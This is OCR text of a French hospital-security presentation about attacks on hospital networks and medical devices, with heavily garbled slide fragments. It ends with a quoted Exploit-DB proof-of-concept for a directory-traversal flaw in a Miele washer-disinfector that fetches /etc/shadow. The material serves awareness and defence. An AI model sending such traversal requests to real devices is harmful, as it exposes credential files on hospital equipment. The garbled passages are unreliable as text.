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INTRODUCTION

Un lave-vaisselle connecté permet de pirater le
réseau informatique des hopitaux

Malgré la série de catastrophes qui a affecté
I'Internet des objets ces derniéres années, les
constructeurs d'appareils ménagers
s’acharnent toujours a connecter leurs merdes
a Internet.

https://motherboard.vice.com/fr/article/z49w3y/un-lave-vaisselle-connecte-permet-dacceder-au-reseau-informatique-des-hopitaux
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POURQUOI ATTAQUER LES HOPI

Ve taYal B YARAYY_ ¥ N 1V FED unk'
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1. Exposition croissante & 2
O + en + connectivité ST | L I _________ w
o Interne (Biomédical, imagerie, DPI, PACS, S 24\

technique, batiments..)

o Externes (Autres hépitaux, laboratoires,
fournisseurs, partenaires, patients...)

0 +en+ de CLOUD et mobiles
o Notification laboratoire sur smartphone

o Saisie des données sur des tablettes aux
pied du lit des patients

o Données personnes sur les mobiles /
tablettes des patients
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POURQUOI ATTAQUER LE
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2. Retard notoire dans les mesures de sécurité

Food

Financial Services
Legal

Constructlon
Transportation
Information Services
Energy

Retall

Technology
Non-Profit
Government
Manufacturing
Hospitality
Entertainment
Pharmaceutical
Telecommunications

Education -
www.securityscorecard.com
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POURQUOI ATTAQUER LES H
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3. La valeur des données a la revente

100 emails & passwords

Social Security Number & DOB Medical identity

P
$0 $5 $10| $15 $20 | $25 $30 $35 $40 $45 $50

Social Security Credit card
Number with security code & exp. date

- — Credit card
i PayPal account with balance or verified with full identifying information
> Ra I SO n S . name, security code. exp. date, address, phone number) Source: CSID

Difficile ou impossible a changer

Mois ou années avant de le détecter

Innocence difficile a prouver
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FIGURE 3. Victims of medical identity theft report stolen IDs were used for fraudulent activities.

@ 78 it [

Purchase Fraudulently Fraudulently Fraudulently fil Access or
items bill for care receive prescriptions modify health
medical care records

source: Accenture 2017 Consumer Survey on Healthcare Cybersecurity and Digital Trust
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POSTED: 23 APR, 2018 | 4 MIN READ | THREAT INTELLIGENCE

New Orangeworm attack group targets
the healthcare sector in the U.S.,
Europe, and Asia

Symantec has identified a new attack group dubbed Orangeworm deploying
the Kwampirs backdoor in a targeted attack campaign against the healthcare
sector and related industries.

Symantec has identified a previously unknown group called Orangeworm that has been observed installing a custom
backdoor called Trojan.Kwampirs within large international corporations that operate within the healthcare sector in

the United States, Europe, and Asia.

First identified in January 2015, Orangeworm has also conducted targeted attacks against organizations in related
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IMPACT DRAMATIQUE

S ATV AW ARV, €1

.
Wannacry and ransomware impact ong

{y patient care could cause fatalities”

By James Hayes

The chances of a serious patient care incident occurring as a result of
ransomware have been heightened by the latest attacks on the healthcare
sector and could ultimately result in a fatalities, cyber-security industry
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injection.
iystem to use.

ind contact Services at

Contact Service

via VirtualCare, or refer

to the operations manual or thé internet at:
hitp:/iwww.radiology.bayer.com

\\ #WannaCry hits Medical Devices in US

NEWS

NotPetya ransomware hits hospitals, while
Shadow Brokers touts its July VIP service

U.S. haspitals were hit by the NotPetya ransomware—despite a vaccine already being
available—while the Shadow Brakers touts its July dump of the month and its VIP service
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UN FUTUR PEU RASSURANT
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Computing ntern IT Mobile T¢ / Tech Blog

TechNewsWorld > Security > Hacking | Next Article

| | Insulin Pump Susceptible to
: \ o, Hacking

" i By John P. Mello Jr. 1 Print
' ~ I N Oct 7, 2016 9:00 AM PT % Email

G5 Mobile Continuous Glucose Monitoring

System

Dexcom received FDA approval in August for its new G5 Mobile .1 0: 3.7“
Continuous Glucose Monitoring System, which is designed to transmit

blood sugar level data from the sensors worn by the user to a ,;33'21551‘,'

smartphone. With the G5, users will not need to carry a separate Mot Sy

receiver for the wearable device. According to Dexcom, the G5 is the
first fully mobile continuous glucose monitoring system that is FDA
approved for both adults and children as young as 2 with diabetes.
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POURQUOI ?

» Risque est sous estimé par les
equipementiers et les hopitaux

» OS obsolétes et plus maintenus

Few organisations are prepared for attacks _"

Does your organisation take steps to prevent attacks on meg

Yes, some |
|

No steps

- W Device maker
Unsure

‘ Healthcare prov

0 10 20 30

Source: Ponemon Institute
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Figure 11
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Medical Device Security: An Industry
Under Attack and Unprepared to Defend

Sponsored by Synopsys
Independently conducted by Ponemon Institute LLC
Publication Date: May 2017

Ponemon Institute® Research Report
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NOTRE APPROCHE
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» Depuis 2013 revue systématique de toutes les G e, e

page2/iae

demandes de raccordement au réseau (Checklist) F==—== ey

» Depuis 2017 version commune inter hopitaux
L Disponible en Francgais, Anglais, Italien et Allemand

» 33 Exigences de base

O Version OS et patchs IT-security-of-tthnicaI-
L L systems-—Requirementsy|

O Authentification / Autorisation

0 Malware

O Acces réseau et télémaintenance
O Protection des données

O Documentation

O Audit et logs
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UN PEU DE TECHNIQU
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Ellrrllnnlxa Home Exploits Shellcode Papers Google Hacking Database Submit Search

Miele Professional PG 8528 - Directory Traversal

Status:

Published

EDB-ID: 41718 Author: jens Regel Published: 2017-03-2 Affected Products:

CVE: CVE-2017-7240  Type: Remote Platform: Hardware | piele professional PG 8528 (washer-disinfector) with ethernet interface.

E-DB Verified: (8§ Exploit: § Download / View Raw  Vulnerable App: N/A| Vendor Homepage:

https://wwa.miele.co.uk/professional/large-capacity-washer-disinfectors-560.htm?mat=10339600&name=PG_8528
« Previous Exploit

Details:

1| Title ========

2| E==m== corresponding embede: rver "PST10 WebServer" typically listens to port 80 and is prone to a directory traversal attack, therefore
© | Miele Professional PG 8528 - Web Server Directory Traversal an unauthenticated attacker may)be able to exploit this issue to access sensitive information to aide in subsequent attacks.
5 | Author: Proof of Concept:

7 Jens Regel, Schneider & Wulf EDV-Beratung GmbH & Co. KG ~$ telnet 192.168.6.1 80

8 Trying 192.168.6.1...

9| CVE-ID: Connected to 192.168.0.1.
10| s====== __Escapetharacter ist ) .
11| CVE-2017-7240 < GET /ifudd ol il i ] ) o ] ] .. [etc/shadou HTTP/1.1
12

13 | Risk Information: HTTP/1.1 20@ OK

14 = = Date: Wed, 16 Nov 2016 11:58:5@ GMT

15 Risk Factor: Medium Server: PST1@ WebServer

16 | CVSS Base Score: 5.0 Content-Type: application/octet-stream

17 | CVSS Vector: CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N Last-Modified: Fri, 22 Feb 2013 10:04:48 GNT

S| Cvss Temporal Vector: CVSS2#E:POC/RL:OF/RC:C Content-disposition: attachment; filename="./etc/shadou"
19 | CVSS Temporal Score: 3.9 Accept-Ranges: bytes

20
2€ = h: 52
21 | Timeline:
22 == . 3 3 . e T
root:$18$Mdei[...snip. /. .]7001:16933:0:99990:7:::

23 1 2016-11-16 Vulnerability discovered $18 [ !

4| 2016-11-18 Asked for security contact Tin:

25| 2016-11-21 Contact with Miele product representative R

26 | 2016-12-03 Send details to the Miele product representative i
27 | 2017-81-19 Asked for update, no response e are not auare of an actual fix.
28 | 2017-062-03 Asked for update, no response

29 | 2017-03-23 Public disclosure fious Exploit Next Exploit »
30
31 Status
32 =======
Hopitaux
Universitaires 14

Geneéve



Merci

Franck CALCAVECCHIA

(CISSP, ISO 27001LA, ISO 27005RM)
Franck.calcavecchia@hcuge.ch
https://www.linkedin.com/in/franckcalcavecchia

https://www.hug-ge.ch/
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